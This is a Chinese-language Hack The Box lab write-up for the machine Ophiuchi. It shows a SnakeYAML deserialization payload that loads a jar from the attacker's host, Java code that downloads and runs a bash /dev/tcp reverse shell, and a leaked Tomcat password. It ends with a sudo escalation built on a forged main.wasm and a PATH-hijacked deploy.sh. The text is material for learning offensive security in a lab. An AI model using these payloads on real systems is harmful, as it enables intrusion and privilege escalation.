【Hack The Box】linux练习-- Ophiuchi
创始人
2024-02-22 02:19:59

HTB 学习笔记

【Hack The Box】linux练习-- Ophiuchi


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 8080
        • 目录爆破
    • java-yaml反序列化
    • 获取shell
    • tomcat ->admin
    • admin->root
    • wasm
    • 修改

在这里插入图片描述

信息收集

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

8080

Parse YAML
在这里插入图片描述死页面,啥都干不了,输入一个东西他说网站已经关闭

目录爆破

目录爆破命令就不写了

得到
/test (Status: 302)
/manager (Status: 302)

manager页面要求登陆

在这里插入图片描述
YAML 解析器在安全处理数据序列化数据方面出了名的糟糕。它会尝试将 YAML 解析为对象,这就是反序列化。

尽管该网站说它已关闭,但尚不清楚它是在尝试反序列化用户输入之前还是之后显示的。 我将尝试使用 YAML 反序列化负载进行检查。 由于服务器是 Tomcat,我将寻找基于 Java 的有效载荷。

java-yaml反序列化

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://10.10.14.7/"]]]
]

本地开启的python 服务器回收到信号
说明反序列化成功
关于yaml反序列化的利用,利用

https://github.com/artsploit/yaml-payload
https://github.com/mbechler/marshalsec

修改payload,而后修改payload让他请求我们的恶意jar包

操作

  1. 下载
    proxychains4 -f /etc/proxychains4.conf git clone https://github.com/artsploit/yaml-payload.git
    得到src
  2. 修改AwesomeScriptEngineFactory.java
    在这里插入图片描述
  3. 编译
javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java 
jar -cvf ping.jar -C src/ .  //打包

得到了一个ping.jar
在这里插入图片描述
4. 开一个python服务器以及一个icmp监听

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://10.10.14.29/ping.jar"]]]
]

请求这个ping包
我们发现本地的icmp收到了ping
所以我们的道路通畅
接下来修改命令来执行命令
在这里插入图片描述
那么这是确定存在rce,在java中,实现rce的手段我们通常选择如下利用.sh脚本的方法

获取shell

  1. 写一个脚本
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.196/4242 0>&1
  1. 修改java文件
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {public AwesomeScriptEngineFactory() {try {Runtime.getRuntime().exec("curl http://10.10.14.29/shell.sh -o /tmp/shell.sh");Runtime.getRuntime().exec("chmod +x /tmp/shell.sh");Runtime.getRuntime().exec("bash /tmp/shell.sh");} catch (IOException e) {e.printStackTrace();}}

重新编译打包运行

javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf shell.jar -C src/ .

在这里插入图片描述

tomcat ->admin

作为tomcat用户,当前主目录是 /opt/tomcat:
/opt/tomcat/conf/tomcat-users.xml具有 Tomcat 的用户名和密码:

找到密码
whythereisalimit

su admin

密码重用成功

在这里插入图片描述

admin->root

在这里插入图片描述
没有go的二进制提权
看一下那个index.go文件是个什么情况

package main
import ("fmt"wasm "github.com/wasmerio/wasmer-go/wasmer""os/exec""log"
)
func main() {bytes, _ := wasm.ReadBytes("main.wasm")instance, _ := wasm.NewInstance(bytes)defer instance.Close()init := instance.Exports["info"]result,_ := init()f := result.String()if (f != "1") {fmt.Println("Not ready to deploy")} else {fmt.Println("Ready to deploy")out, err := exec.Command("/bin/sh", "deploy.sh").Output()if err != nil {log.Fatal(err)}fmt.Println(string(out))}
}

他会导入几个模块,然后定义一个函数,读取main.wasm,然后放到一个新的实例,然后返回的如果不是1,就输出Not ready to deploy",如果是1,就/bin/sh", "deploy.sh,执行这个脚本

我直接执行,没用

sudo /usr/bin/go run /opt/wasm-functions/index.go

并且会报错,那我先找到main.wasm,然后执行一下看看

find / -name "main.wasm" 2>/dev/null

在这里插入图片描述
两个目录都是第一种情况
在这里插入图片描述那么接下来就是要想办法让返回值是1

wasm

WASM 或 Web Assembly 是一种二进制指令格式,用于设计用于跨平台运行的基于堆栈的虚拟机。 WASM 的主要目的是在网页上拥有快速和高性能的应用程序,但它也可以在其他环境中运行。

proxychains4 -f /etc/proxychains4.conf git clone --recursive https://github.com/WebAssembly/wabt
cd wabt/
apt install cmake
make
wasm-decompile main.wasm 
到这里就可以生成一个main.wasm 

将转换 main.wasm转换成 WebAssembly 文本格式(从二进制格式):

在这里插入图片描述
因为 Go 程序对main.wasm 的调用不使用绝对路径,所以我可以控制两者 main.wasm和 deploy.sh. 我会写一个 main.wasm返回 1 和一个 deploy.sh

修改

把返回值改成1,在wat中他是const后的参数
将main.wasm 转换为main.wat以便修改

wasm2wat main.wasm -o main.wat

在这里插入图片描述
修改完再变回来

wat2wasm main.wat -o main.wasm

这个脚本就很普通了,正常的一个赋权脚本

deploy.sh

#!/bin/bashchmod +x /bin/bash

传输到靶机/tmp目录

然后给当前目录临时写进环境变量

export PATH=/tmp:$PATH

在这里插入图片描述脚本失效?nonono,我忘记赋权了
chmod +x

在这里插入图片描述截图是我尝试写入ssh密钥
用上面的脚本直接/bin/bash -p 即可

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...